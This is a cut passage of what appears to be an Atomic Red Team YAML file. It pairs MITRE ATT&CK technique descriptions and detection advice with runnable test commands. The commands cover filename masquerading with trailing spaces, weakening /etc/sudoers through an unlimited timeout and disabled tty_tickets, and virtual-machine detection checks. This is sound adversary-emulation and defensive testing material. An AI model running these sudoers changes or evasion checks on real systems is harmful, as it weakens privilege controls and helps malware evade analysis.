      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-03-29T20:26:01.690Z'
      created: '2020-02-10T20:47:10.082Z'
      x_mitre_platforms:
      - Linux
      - macOS
      x_mitre_contributors:
      - Erye Hernandez, Palo Alto Networks
      x_mitre_data_sources:
      - 'File: File Metadata'
      x_mitre_detection: It's not common for spaces to be at the end of filenames,
        so this is something that can easily be checked with file monitoring. From
        the user's perspective though, this is very hard to notice from within the
        Finder.app or on the command-line in Terminal.app. Processes executed from
        binaries containing non-standard extensions in the filename are suspicious.
      x_mitre_permissions_required:
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1036.006
    atomic_tests:
    - name: Space After Filename (Manual)
      auto_generated_guid: 89a7dd26-e510-4c9f-9b15-f3bae333360f
      description: 'Space After Filename

'
      supported_platforms:
      - macos
      executor:
        steps: "1. echo '#!/bin/bash\\necho \"print \\\"hello, world!\\\"\" | /usr/bin/python\\nexit'
          > execute.txt && chmod +x execute.txt\n\n2. mv execute.txt \"execute.txt
          \"\n\n3. ./execute.txt\\ \n"
        name: manual
    - name: Space After Filename
      auto_generated_guid: b95ce2eb-a093-4cd8-938d-5258cef656ea
      description: 'Space after filename.

'
      supported_platforms:
      - macos
      - linux
      executor:
        name: bash
        command: |
          mkdir -p /tmp/atomic-test-T1036.006
          cd /tmp/atomic-test-T1036.006
          mkdir -p 'testdirwithspaceend '
          /usr/bin/echo -e "%d\na\n#!/usr/bin/perl\nprint \"running T1035.006 with space after filename to masquerade init\\n\";\nqx/cp \/usr\/bin\/perl 'init  '/;\nqx/'.\/init  ' -e 'sleep 5'/;\n.\nwq\n" | ed 'testdirwithspaceend /init ' >/dev/null
          chmod +x 'testdirwithspaceend /init '
          './testdirwithspaceend /init '
        cleanup_command: rm -rf /tmp/atomic-test-T1036.006
  T1027.003:
    technique:
      created: '2020-02-05T14:28:16.719Z'
      modified: '2020-09-16T19:24:20.350Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      type: attack-pattern
      id: attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916
      description: "Adversaries may use steganography techniques in order to prevent
        the detection of hidden information. Steganographic techniques can be used
        to hide data in digital media such as images, audio tracks, video clips, or
        text files.\n\n[Duqu](https://attack.mitre.org/software/S0038) was an early
        example of malware that used steganography. It encrypted the gathered information
        from a victim's system and hid it within an image before exfiltrating the
        image to a C2 server.(Citation: Wikipedia Duqu) \n\nBy the end of 2017, a
        threat group used <code>Invoke-PSImage</code> to hide [PowerShell](https://attack.mitre.org/techniques/T1059/001)
        commands in an image file (.png) and execute the code on a victim's system.
        In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001)
        code downloaded another obfuscated script to gather intelligence from the
        victim's machine and communicate it back to the adversary.(Citation: McAfee
        Malicious Doc Targets Pyeongchang Olympics)  "
      name: Steganography
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1027.003
        url: https://attack.mitre.org/techniques/T1027/003
      - external_id: CAPEC-636
        source_name: capec
        url: https://capec.mitre.org/data/definitions/636.html
      - url: https://en.wikipedia.org/wiki/Duqu
        description: Wikipedia. (2017, December 29). Duqu. Retrieved April 10, 2018.
        source_name: Wikipedia Duqu
      - url: https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/
        description: Saavedra-Morales, J., Sherstobitoff, R. (2018, January 6). Malicious
          Document Targets Pyeongchang Olympics. Retrieved April 10, 2018.
        source_name: McAfee Malicious Doc Targets Pyeongchang Olympics
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_data_sources:
      - 'File: File Content'
      x_mitre_detection: Detection of steganography is difficult unless artifacts
        are left behind by the obfuscation process that are detectable with a known
        signature. Look for strings are other signatures left in system artifacts
        related to decoding steganography.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
    atomic_tests: []
  T1553:
    technique:
      revoked: false
      id: attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7
      description: "Adversaries may undermine security controls that will either warn
        users of untrusted activity or prevent execution of untrusted programs. Operating
        systems and security products may contain mechanisms to identify programs
        or websites as possessing some level of trust. Examples of such features would
        include a program being allowed to run because it is signed by a valid code
        signing certificate, a program prompting the user with a warning because it
        has an attribute set from being downloaded from the Internet, or getting an
        indication that you are about to connect to an untrusted site.\n\nAdversaries
        may attempt to subvert these trust mechanisms. The method adversaries use
        will depend on the specific mechanism they seek to subvert. Adversaries may
        conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222)
        or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support
        of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017)
        Adversaries may also create or steal code signing certificates to acquire
        trust on target systems.(Citation: Securelist Digital Certificates)(Citation:
        Symantec Digital Certificates) "
      name: Subvert Trust Controls
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1553
        url: https://attack.mitre.org/techniques/T1553
      - url: https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf
        description: Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved
          January 31, 2018.
        source_name: SpectorOps Subverting Trust Sept 2017
      - url: https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/
        description: Ladikov, A. (2015, January 29). Why You Shouldn’t Completely
          Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.
        source_name: Securelist Digital Certificates
      - url: http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates
        description: Shinotsuka, H. (2013, February 22). How Attackers Steal Private
          Keys from Digital Certificates. Retrieved March 31, 2016.
        source_name: Symantec Digital Certificates
      - url: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec
        description: Graeber, M. (2017, December 22). Code Signing Certificate Cloning
          Attacks and Defenses. Retrieved April 3, 2018.
        source_name: SpectorOps Code Signing Dec 2017
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-04-26T15:41:39.612Z'
      created: '2020-02-05T14:54:07.588Z'
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Metadata'
      - 'File: File Modification'
      - 'Module: Module Load'
      x_mitre_detection: "Collect and analyze signing certificate metadata on software
        that executes within the environment to look for unusual certificate characteristics
        and outliers. Periodically baseline registered SIPs and trust providers (Registry
        entries and files on disk), specifically looking for new, modified, or non-Microsoft
        entries. (Citation: SpectorOps Subverting Trust Sept 2017) A system's root
        certificates are unlikely to change frequently. Monitor new certificates installed
        on a system that could be due to malicious activity.(Citation: SpectorOps
        Code Signing Dec 2017)\n\nAnalyze Autoruns data for oddities and anomalies,
        specifically malicious files attempting persistent execution by hiding within
        auto-starting locations. Autoruns will hide entries signed by Microsoft or
        Windows by default, so ensure \"Hide Microsoft Entries\" and \"Hide Windows
        Entries\" are both deselected.(Citation: SpectorOps Subverting Trust Sept
        2017) \n\nMonitor and investigate attempts to modify extended file attributes
        with utilities such as <code>xattr</code>. Built-in system utilities may generate
        high false positive alerts, so compare against baseline knowledge for how
        systems are typically used and correlate modification events with other indications
        of malicious activity where possible. "
      x_mitre_defense_bypassed:
      - Application control
      - Anti-virus
      - Autoruns Analysis
      - Digital Certificate Validation
      - Process whitelisting
      - User Mode Signature Validation
      - Windows User Account Control
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.0'
    atomic_tests: []
  T1548.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1548.003
        url: https://attack.mitre.org/techniques/T1548/003
      - url: https://www.sudo.ws/
        description: Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.
        source_name: sudo man page 2018
      - url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/
        description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web
          traffic. Retrieved July 10, 2017.
        source_name: OSX.Dok Malware
      - url: https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does
        description: Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually
          Does. Retrieved March 19, 2018.
        source_name: cybereason osx proton
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Sudo and Sudo Caching
      description: |-
        Adversaries may perform sudo caching and/or use the suoders file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.

        Within Linux and MacOS systems, sudo (sometimes referred to as "superuser do") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The <code>sudo</code> command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments."(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code>, which is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).

        The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code> (Citation: OSX.Dok Malware). Elevated privileges are required to edit this file though.

        Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user.

        In the wild, malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \'Defaults !tty_tickets\' >> /etc/sudoers</code> (Citation: cybereason osx proton). In order for this change to be reflected, the malware also issued <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.
      id: attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-03-27T01:03:26.306Z'
      created: '2020-01-30T14:34:44.992Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_effective_permissions:
      - root
      x_mitre_permissions_required:
      - User
      x_mitre_detection: On Linux, auditd can alert every time a user's actual ID
        and effective ID are different (this is what happens when you sudo). This
        technique is abusing normal functionality in macOS and Linux systems, but
        sudo has the ability to log all input and output based on the <code>LOG_INPUT</code>
        and <code>LOG_OUTPUT</code> directives in the <code>/etc/sudoers</code> file.
      x_mitre_data_sources:
      - 'Process: Process Metadata'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      x_mitre_platforms:
      - Linux
      - macOS
      identifier: T1548.003
    atomic_tests:
    - name: Sudo usage
      auto_generated_guid: 150c3a08-ee6e-48a6-aeaf-3659d24ceb4e
      description: 'Common Sudo enumeration methods.

'
      supported_platforms:
      - macos
      - linux
      executor:
        name: sh
        elevation_required: true
        command: "sudo -l      \nsudo cat /etc/sudoers\nsudo vim /etc/sudoers\n"
    - name: Unlimited sudo cache timeout
      auto_generated_guid: a7b17659-dd5e-46f7-b7d1-e6792c91d0bc
      description: 'Sets sudo caching timestamp_timeout to a value for unlimited.
        This is dangerous to modify without using ''visudo'', do not do this on a
        production system.

'
      supported_platforms:
      - macos
      - linux
      executor:
        name: sh
        elevation_required: true
        command: |
          sudo sed -i 's/env_reset.*$/env_reset,timestamp_timeout=-1/' /etc/sudoers
          sudo visudo -c -f /etc/sudoers
    - name: Disable tty_tickets for sudo caching
      auto_generated_guid: 91a60b03-fb75-4d24-a42e-2eb8956e8de1
      description: 'Sets sudo caching tty_tickets value to disabled. This is dangerous
        to modify without using ''visudo'', do not do this on a production system.

'
      supported_platforms:
      - macos
      - linux
      executor:
        name: sh
        elevation_required: true
        command: |-
          sudo sh -c "echo Defaults "'!'"tty_tickets >> /etc/sudoers"
          sudo visudo -c -f /etc/sudoers
  T1497.001:
    technique:
      id: attack-pattern--29be378d-262d-4e99-b00d-852d573628e6
      description: "Adversaries may employ various system checks to detect and avoid
        virtualization and analysis environments. This may include changing behaviors
        based on the results of checks for the presence of artifacts indicative of
        a virtual machine environment (VME) or sandbox. If the adversary detects a
        VME, they may alter their malware to disengage from the victim or conceal
        the core functions of the implant. They may also search for VME artifacts
        before dropping secondary or additional payloads. Adversaries may use the
        information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)
        during automated discovery to shape follow-on behaviors. \n\nSpecific checks
        will vary based on the target and/or adversary, but may involve behaviors
        such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047),
        [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information
        Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012)
        to obtain system information and search for VME artifacts. Adversaries may
        search for VME artifacts in memory, processes, file system, hardware, and/or
        the Registry. Adversaries may use scripting to automate these checks  into
        one script and then have the program exit if it determines the system to be
        a virtual environment. \n\nChecks could include generic system properties
        such as host/domain name and samples of network traffic. Adversaries may also
        check the network adapters addresses, CPU core count, and available memory/drive
        size. \n\nOther common checks may enumerate services running that are unique
        to these applications, installed programs on the system, manufacturer/product
        fields for strings relating to virtual machine applications, and VME-specific
        hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications
        like VMWare, adversaries can also use a special I/O port to send commands
        and receive output. \n \nHardware checks, such as the presence of the fan,
        temperature, and audio devices, could also be used to gather evidence that
        can be indicative a virtual environment. Adversaries may also query for specific
        readings from these devices.(Citation: Unit 42 OilRig Sept 2018)"
      name: System Checks
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1497.001
        url: https://attack.mitre.org/techniques/T1497/001
      - source_name: McAfee Virtual Jan 2017
        url: https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/
        description: Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual
          Machine. Retrieved April 17, 2019.
      - url: https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/
        description: Falcone, R., et al. (2018, September 04). OilRig Targets a Middle
          Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September
          24, 2018.
        source_name: Unit 42 OilRig Sept 2018
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2021-04-21T15:16:10.604Z'
      created: '2020-03-06T20:57:37.959Z'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_contributors:
      - Deloitte Threat Library Team
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      x_mitre_detection: Virtualization/sandbox related system checks will likely
        occur in the first steps of an operation but may also occur throughout as
        an adversary learns the environment. Data and events should not be viewed
        in isolation, but as part of a chain of behavior that could lead to other
        activities, such as lateral movement, based on the information obtained. Detecting
        actions related to virtualization and sandbox identification may be difficult
        depending on the adversary's implementation and monitoring required. Monitoring
        for suspicious processes being spawned that gather a variety of system information
        or perform other forms of Discovery, especially in a short period of time,
        may aid in detection.
      x_mitre_is_subtechnique: true
      x_mitre_version: '2.0'
      x_mitre_defense_bypassed:
      - Static File Analysis
      - Signature-based detection
      - Host forensic analysis
      - Anti-virus
      identifier: T1497.001
    atomic_tests:
    - name: Detect Virtualization Environment (Linux)
      auto_generated_guid: dfbd1a21-540d-4574-9731-e852bd6fe840
      description: |
        systemd-detect-virt detects execution in a virtualized environment.
        At boot, dmesg stores a log if a hypervisor is detected.
      supported_platforms:
      - linux
      executor:
        name: sh
        elevation_required: true
        command: 'if (systemd-detect-virt || sudo dmidecode | egrep -i ''manufacturer|product|vendor''
          | grep -iE ''Oracle|VirtualBox|VMWare|Parallels'') then echo "Virtualization
          Environment detected"; fi;

'
    - name: Detect Virtualization Environment (Windows)
      auto_generated_guid: 502a7dc4-9d6f-4d28-abf2-f0e84692562d
      description: 'Windows Management Instrumentation(WMI) objects contains system
        information which helps to detect virtualization. This command will specifically
        attempt to get the CurrentTemperature value from this object and will check
        to see if the attempt results in an error that contains the word supported.
        This is meant to find the result of Not supported, which is the result if
        run in a virtual machine

'
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: |
          $error.clear()
          Get-WmiObject -Query "SELECT * FROM MSAcpi_ThermalZoneTemperature" -ErrorAction SilentlyContinue
          if($error) {echo "Virtualization Environment detected"}
        cleanup_command: "$error.clear()\n"
    - name: Detect Virtualization Environment (MacOS)
      auto_generated_guid: a960185f-aef6-4547-8350-d1ce16680d09
      description: 'ioreg contains registry entries for all the device drivers in
        the system. If it''s a virtual machine, one of the device manufacturer will
        be a Virtualization Software.

'
      supported_platforms:
      - macos
      executor:
        name: sh
        elevation_required: false
        command: 'if (ioreg -l | grep -e Manufacturer -e ''Vendor Name'' | grep -iE
          ''Oracle|VirtualBox|VMWare|Parallels'') then echo ''Virtualization Environment
          detected''; fi;

'
    - name: Detect Virtualization Environment via WMI Manufacturer/Model Listing (Windows)
      auto_generated_guid: 4a41089a-48e0-47aa-82cb-5b81a463bc78
      description: "Windows Management Instrumentation(WMI) objects contain system
        information which helps to detect virtualization. This test will get the model
        and manufacturer of the machine to determine if it is a virtual machine, such
        as through VMware or VirtualBox. \n"
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: |
          $Manufacturer = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty "Manufacturer"
          $Model = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty "Model"
          if((($Manufacturer.ToLower() -eq "microsoft corporation") -and ($Model.ToLower().contains("virtual"))) -or ($Manufacturer.ToLower().contains("vmware")) -or ($Model.ToLower() -eq "virtualbox")) {write-host "Virtualization environment detected!"} else {write-host "No virtualization environment detected!"}
  T1542.001:
    technique:
      id: attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada
      description: |-
        Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)

        System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.
      name: System Firmware
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1542.001
        url: https://attack.mitre.org/techniques/T1542/001
      - external_id: CAPEC-532
        source_name: capec
        url: https://capec.mitre.org/data/definitions/532.html
      - url: https://en.wikipedia.org/wiki/BIOS
        description: Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.
        source_name: Wikipedia BIOS
      - url: https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface
        description: Wikipedia. (2017, July 10). Unified Extensible Firmware Interface.
          Retrieved July 11, 2017.
        source_name: Wikipedia UEFI
      - url: http://www.uefi.org/about
        description: UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.
        source_name: About UEFI
      - url: http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research
        description: Upham, K. (2014, March). Going Deep into the BIOS with MITRE
          Firmware Security Research. Retrieved January 5, 2016.
        source_name: MITRE Trustworthy Firmware Measurement
      - url: http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about
        description: 'Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions
          about BIOS Security. Retrieved December 11, 2015.'
        source_name: MITRE Copernicus
      - url: https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/
        description: Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against
          Vault 7 Disclosure Scanning. Retrieved March 13, 2017.
        source_name: McAfee CHIPSEC Blog
      - url: https://github.com/chipsec/chipsec
        description: Intel. (2017, March 18). CHIPSEC Platform Security Assessment
          Framework. Retrieved March 20, 2017.
        source_name: Github CHIPSEC
      - url: http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html
        description: Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details.
          Retrieved March 20, 2017.
        source_name: Intel HackingTeam UEFI Rootkit
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-05-19T21:22:37.865Z'
      created: '2019-12-19T19:43:34.507Z'
      x_mitre_platforms:
      - Windows
      x_mitre_contributors:
      - Jean-Ian Boutin, ESET
      - McAfee
      - Ryan Becwar
      x_mitre_data_sources:
      - 'Firmware: Firmware Modification'
      x_mitre_detection: |-
        System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.

        Likewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_defense_bypassed:
      - Host intrusion prevention systems
      - Anti-virus
      - File monitoring
    atomic_tests: []
  T1542.005:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1542.005
        url: https://attack.mitre.org/techniques/T1542/005
      - source_name: Cisco Blog Legacy Device Attacks
        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
        description: Omar Santos. (2020, October 19). Attackers Continue to Target
          Legacy Devices. Retrieved October 20, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Secure Boot
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#35
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure
          Boot. Retrieved October 19, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Image File Verification
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
          IOS Image File Verification. Retrieved October 19, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
          IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Command History
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#23
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command
          History. Retrieved October 21, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Boot Information
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#26
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Boot
          Information. Retrieved October 21, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: TFTP Boot
      description: |-
        Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.

        Adversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)
      id: attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-10-22T16:35:53.806Z'
      created: '2020-10-20T00:06:56.180Z'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Network Traffic: Network Connection Creation'
      - 'Firmware: Firmware Modification'
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: |-
        Consider comparing a copy of the network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.  (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)

        Review command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Check boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment. (Citation: Cisco IOS Software Integrity Assurance - Boot Information) Monitor unusual connections or connection attempts to the device that may specifically target TFTP or other file-sharing protocols.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Network
    atomic_tests: []
  T1221:
    technique:
      id: attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Template Injection
      description: |-
        Adversaries may create or modify references in Office document templates to conceal malicious code or force authentication attempts. Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered. (Citation: Microsoft Open XML July 2017)

        Properties within parts may reference shared public resources accessed via online URLs. For example, template properties reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.

        Adversaries may abuse this technology to initially conceal malicious code to be executed via documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded. (Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched. (Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit. (Citation: MalwareBytes Template Injection OCT 2017)

        This technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt. (Citation: Anomali Template Injection MAR 2018) (Citation: Talos Template Injection July 2017) (Citation: ryhanson phishery SEPT 2016)
      external_references:
      - source_name: mitre-attack
        external_id: T1221
        url: https://attack.mitre.org/techniques/T1221
      - url: https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12)
        description: Microsoft. (2014, July 9). Introducing the Office (2007) Open
          XML File Formats. Retrieved July 20, 2018.
        source_name: Microsoft Open XML July 2017
      - source_name: SANS Brian Wiltse Template Injection
        url: https://www.sans.org/reading-room/whitepapers/testing/template-injection-attacks-bypassing-security-controls-living-land-38780
        description: Wiltse, B.. (2018, November 7). Template Injection Attacks -
          Bypassing Security Controls by Living off the Land. Retrieved April 10,
          2019.
      - url: http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html
        description: Hawkins, J. (2018, July 18). Executing Macros From a DOCX With
          Remote Template Injection. Retrieved October 12, 2018.
        source_name: Redxorblue Remote Template Injection
      - url: https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/
        description: Segura, J. (2017, October 13). Decoy Microsoft Word document
          delivers malware through a RAT. Retrieved July 21, 2018.
        source_name: MalwareBytes Template Injection OCT 2017
      - url: https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104
        description: Intel_Acquisition_Team. (2018, March 1). Credential Harvesting
          and Malicious File Delivery using Microsoft Office Template Injection. Retrieved
